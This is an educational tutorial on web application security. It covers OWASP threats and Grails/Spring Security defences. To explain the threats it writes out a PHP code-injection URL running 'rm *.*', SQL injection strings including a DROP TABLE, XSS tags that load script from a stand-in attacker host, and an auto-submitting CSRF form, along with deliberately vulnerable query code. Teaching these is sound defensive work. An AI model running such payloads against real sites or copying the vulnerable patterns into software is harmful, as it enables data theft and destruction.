Introduction
Information is power. It can make you rich. Even the disruption or destruction of information is power. Because the internet is a source of much information and web applications are the vehicles for accessing the information, modern villains target the web to make their attacks. Developers have the responsibility to design and implement their web applications to secure the information associated with the app.
The chain between the user and the information is long and nebulous. The figure below illustrates this chain.
Internet User <----> Browser <--------------> Server <----> Database
Information resides in the database, and users access this information via a browser which communicates with the server over the internet. Threats can attack any of these components to access theinformation. For example “phishing” attacks the user directly, while “denial of service” (DoS) attacks use the internet to attack a server. The “man in the middle” attacks are using the internet to eavesdrop on information.
Sadly, web security is the study of exploits. In other words, web security progresses only by learning from mistakes. For a list of exploits or attacks see:
Wikipedia’s Category: Web security exploits
https://en.wikipedia.org/wiki/Category:Web_security_exploits
OWASP’s List of Attacks
https://owasp.org/www-community/attacks/
Again sadly, the lists are long and will grow longer. These lists are too long for an individual developer to protect against. Fortunately, The Open Web Application Security Project (OWASP):
has compiled a list of the top ten threats:
https://owasp.org/www-project-top-ten/
I reproduce the list here adding a few additional threats:
- SQL Injection.
- Broken Authentication.
- Sensitive Data Exposure.
- XML External Entities (XXE).
- Broken Access Control.
- Security Misconfiguration.
- Cross-Site Scripting (XSS).
- Insecure Deserialization.
- Using Components with Known Vulnerabilities.
- Insufficient Logging & Monitoring.
- Cross-Site Request Forgery (CSRF)
- Command Injection (Cmd I)
- Code Injection (Code I)
- Man in the Middle attack (MiddleMan)
The figure below locates the threats with their targets
Internet User <----> Browser <--------------> Server <----> Database Phishing XSS DoS Cmd I SQL I CSRF MiddleMan Code I Broken Auth Broken Auth Broken Access Broken Access Data Exposure Data Exposure Security Misconf
As you can see, many of the threats attack either the browser code or the server code. The developer is responsible for these codes. Consequently, the developer is responsible for much web security.
Threat Details
This section describes a few of the common threats giving examples and describing preventions.
Command and Code Injection
Command injection (Cmd I) threats execute operating system commands on the server. While code injection (Code I) threats introduce new code from the programming language used on the server. PhP is particularly susceptible to code injection because it runs as a script on the server. Because the server application runs with privileges, the attack can destroy memory and files.
PHP Example
Assume the PHP code below on the site http://site.com/calc.php:
$in = $_GET['exp'] eval('$ans = '.$in.';');
Then the attack can be made by making the threat below:
http://site.com/calc.php?exp="10 ; system('rm *.*')"
Prevention
In PHP don’t use eval. In general, validate input/output data, for example:
- Use regular expression to filter characters
- data formatting
- limit the amount of input
- Use Java to program the server
SQL Injection
SQL Injection (SQL I) inserts SQL code into queries. The injected SQL code can read, modify or destroy data.
Example
Assume the back end code using Hibernate generates a SQL query using the code below:
SpringSecurityService springSecurityService String userName = springSecurityService.currentUser.username String sql = "SELECT * FROM item WHERE owner = "'" + userName + "' and itemname = '" + ItemName + "';" SQLQuery query = session.createSQLQuery(sql) query.setResultTransformer(Criteria.ALIAS_TO_ENTITY_MAP) def data = query.list() render(data)
The idea behind this code is that an authenticated user can enter an item name, itemname, and the web site returns the details for the item, but only for the item that user has. In other words the SQL query is:
SELECT * FROM Item WHERE owner = ??? AND itemname = ???;
Suppose the user Wiley enters the item name:
name' OR 'a'='a
Then the SQL query becomes
SELECT * FROM item WHERE owner = 'wiley' AND itemname = 'name' OR 'a'='a';
The WHERE clause is always true, so the SQL query becomes:
SELECT * FROM Item;
The hacker gets details about all items on the server.
What would happen if the hacker entered the item name below:
'; DROP TABLE item;
Prevention
Do not build your own SQL. Use parameterized or prepared SQL queries. Better yet, use an ORM.
Cross Site Scripting (XSS)
Cross-Site Scripting (XSS) threats inject JavaScript code into the website browser code. Because the browser believes the injected code is coming from the website, the browser trust the code. In addition, the browser can send authorization cookies to the to the attacker. There are actually two types of XSS attacks:
- Reflected XSS
- Persistent XSS
Reflected XSS occurs when the user content runs immediately unmodified. The inject code targets a single user of the website. For example consider a website URL query for a search on a keyword, “beer”.
http://mysite.com?q=beer
Consider the a hacker sends an email to a user of mysite with
<a href=http://mysite.com?q=beer<script%20scr="http://evilsite.com/trick.js"></script>>Interesting Site</a>
When the unsuspecting user clicks on the “Interesting Site” link, the website will return the search for “beer”, but will also run the script “evilsite.com/trick.js”.
Note that any cookies associated with “mysite” will also be sent to the server, so any authorization that the user has can be run by “evilsite.com/trick.js”.
Persistent XSS threats reside on the website code. This happens when a website allows users to input strings via a form and later post the string directly. For example, consider a site that keeps confidential users’ real names and emails, but allows users to communicate through a form that creates bulletin board pages. Suppose a hacker inputs on the form a string ending with:
<script%20scr="http://evilsite.com/trick.js"></script>
The injected script is posted on the hacked website. The browser of any unsuspecting visitor visiting the post will run the tricky.js on the evilsite.com server. The unsuspecting visitor may not even be aware of the threat.
Note that the script-tag is not the only tag that is vulnerable to XSS, also image and link tags are vulnerable.
Prevention
Do not accept user input without escaping html tags. Better yet, use a web framework that use codecs.
Cross-Site Request Forgery (CSRF)
Cross-Site Request Forgery (CSRF) is an attack that uses unsuspecting user’s credentials to execute actions on a website. These attacks run without the user’s knowledge.
Bank Example
Consider a bank web app that allows users to pay bills and uses cookies for authentications. After a user visits the bank web app at bank.com, a cookie is stored on the browser. When the user makes another request to bank.com the authorization cookie is automatically sent back to the bank server and authorizes the users to pay bills through their accounts.
After visiting the bank website, consider that the unsuspecting user visits evilsite.com that has the hidden form:
<form name="Evil" action=http://bank.com/PayBill.php> <input name="recipient" value="evil"> <input name="amount" value=100000> <script> document.Evil.submit();</script>
The form will be submitted to bank.com and deducting a 10000 dollars from the user accounts and pay the evil hacker.
Prevention
- Add “form keys” for individual form validation.
- Check the “refferrer” header in the request and white list the domains. Do not black list the refferrer header.
- Time limit authorization cookies or keep them only for a single session.
Web Security Assistance
These examples should illustrate that a poorly implemented web application is easy to attack and that the consequences of the attack can be great. But also, the examples illustrate that a web developer cannot possibly protect the website from all vulnerabilities. The developer needs assistance. Fortunately there are assistants.
- HTTPS
- Web Framework
Use them, and use them properly.
Hypertext Transfer Protocol Secure (HTTPS)
HTTPS uses SSL/TLS to secure the communications over the network by encrypting the request and response contents. Consequently, any form data is protected from packet-sniffing and injection. Using HTTPS implies that the website should not use mixed protocols, meaning mixing http requests with https request on the same website.
Web Framework: Grails
Use a mature web framework to develop your website. A primary role of web framework is to ensure that security safeguards are automatically implemented. In particular, Grails has many safeguards for web security:
- Standard database access via GORM automatically escapes SQL querry
- Scaffolding templates escapes all data fields
- Grails link tags use escaping to prevent code injection
- Codec escape data rendering HTML, JavaScript and URL to prevent injection attacks.
- File upload size restrictions.
There are additional protection that a Java application has, meaning protection from:
- Code injection
- Command injection
- Memory overflow
Denial of Service (Dos)
A simple denial of service attack is to upload large files via the website multipart form submission. See OWASP Unrestricted File Upload page:
https://owasp.org/www-community/vulnerabilities/Unrestricted_File_Upload
Grails restrict the size of uploads. The default is 128K. You can increase the size in application.yml by adding
grails:
controllers:
upload:
maxFileSize: 2000000
maxRequestSize: 2000000
where
maxFileSize
= The maximum size allowed for uploaded files in bytes.maxRequestSize
= The maximum size allowed for multipart/form-data requests in bytes.
SQL Injection
Although Hibernate escapes inputs for queries, it is still possible to write bad HQL code. For example do not use unescaped parameters or g-strings in a query. Do NOT write queries below:
def vulnerable() { def books = Book.find("from Book as b where b.title ='" + params.title + "'") } def vulnerable() { def books = Book.find("from Book as b where b.title ='${params.title}'") }
Instead use a positional or named parameter in the query, so that GORM can escape the inputs. Write the queries below:
def safe() { def books = Book.find("from Book as b where b.title = ?", [params.title]) } def safe() { def books = Book.find("from Book as b where b.title = :title", [title: params.title]) }
Cross Site Scripting (XSS)
Grails uses codecs to escape HTML and JavaScript inputs. Codecs is an abbreviation for code-decode. We typically understand codecs for creating compressed media files. Grails is using the term more generally. GSP pages automatically escapes all HTML code in GSP expressions. The default configuration for codecs is found in application.yml:
grails: views: gsp: encoding: UTF-8 htmlcodec: xml # use xml escaping instead of HTML4 escaping codecs: expression: html # escapes values inside ${} scriptlets: html # escapes output from scriptlets in GSPs taglib: none # escapes output from taglibs staticparts: none # escapes output from static templates
The “html” codec is used when writing the GSP page response.
Sometimes it is necessary to prevent the escaping, for example using html code stored in the database then use:
${raw(book.title)}
This is probably not a good idea. The website should only permit raw inputs from a trusted and authenticated user.
Cross-Site Request Forgery (CSRF)
To protect from CSRF, Grails forms can use tokens:
<g:form useToken="true" ...>
Then the controller can use the withForm method:
withForm { // good request }.invalidToken { // bad request }
Spring Security
To protect from broken authorization and access control use a Spring Security, and use it properly. The Spring Security plugin has a very complete user guide:
http://grails-plugins.github.io/grails-spring-security-core/3.2.x/index.html
Some key points are
- Use the default configuration for pessimistic lockdown.
- Use the default password and account protection.
- Simplify role authorization by using hierarchical roles.
- Follow the AJAX example
Pessimistic Lockdown
By default Spring Security blocks all pages views for users without authorization. Spring Security use this pessimistic approach because it is generally obvious when a user cannot access an expected page. Using an optimistic approach, assuming that visitors can view all pages, it is not so obvious if a page is properly protected. The pessimistic approach makes authorization more reliable and safe. But the pessimistic approach requires using staticRules or annotations in the controller for all views. I prefer using static rules because it locates authorization in one place.
grails.plugin.springsecurity.controllerAnnotations.staticRules = [ [pattern: '/', access: ['permitAll']], [pattern: '/error', access: ['permitAll']], [pattern: '/index', access: ['permitAll']], [pattern: '/index.gsp', access: ['permitAll']], [pattern: '/shutdown', access: ['permitAll']], [pattern: '/assets/**', access: ['permitAll']], [pattern: '/**/js/**', access: ['permitAll']], [pattern: '/**/css/**', access: ['permitAll']], [pattern: '/**/images/**', access: ['permitAll']], [pattern: '/**/favicon.ico', access: ['permitAll']], [pattern: '/user/**', access: 'ROLE_USER'], [pattern: '/admin/**', access: ['ROLE_ADMIN', 'isFullyAuthenticated()']], [pattern: '/thing/register', access: 'isAuthenticated()', httpMethod: 'PUT']
Note that access to any URL under /admin requires a “fully authenticated” user with role admin. “Fully authenticated” means that user logged to get authorization and NOT authorized via the “remember me” button or mode.
Password and Account Protection
Use the default password hashing. It encrypts passwords in the database automatically.
Hierarchical Roles
Hierarchical roles make annotating authorization easier. They are specificed by adding code like below in application.groovy:
grails.plugin.springsecurity.roleHierarchy = ''' ROLE_SUPERADMIN > ROLE_FINANCE_ADMIN ROLE_FINANCE_ADMIN > ROLE_ADMIN '''
Any user with role superadmin can view pages that finance admin can view.
AJAX Requests
If you wish to make requests using AJAX, follow the AJAX example to make secure AJAX requests:
http://grails-plugins.github.io/grails-spring-security-core/3.2.x/index.html#ajax
References
General
MDN Web Doc: Web Security Pages:
https://developer.mozilla.org/en-US/docs/Learn/Server-side/First_steps/Website_security
https://developer.mozilla.org/en-US/docs/Web/Security
The Open Web Application Security Project (OWASP)
https://owasp.org/
Stanford Course Slides
https://crypto.stanford.edu/cs155old/cs155-spring11/lectures/10-web-site-sec.pdf
Threats
Wikipedia’s Category: Web security exploits
https://en.wikipedia.org/wiki/Category:Web_security_exploits
OWASP’s List of Attacks
https://owasp.org/www-community/attacks/
OWASP Top Ten Threats
https://owasp.org/www-project-top-ten/
Grails
Security
https://docs.grails.org/latest/guide/security.html
Duplicate Form Submissions
https://docs.grails.org/latest/guide/theWebLayer.html#formtokens
Spring Security Plugin Doc
http://grails-plugins.github.io/grails-spring-security-core/3.2.x/index.html#ajax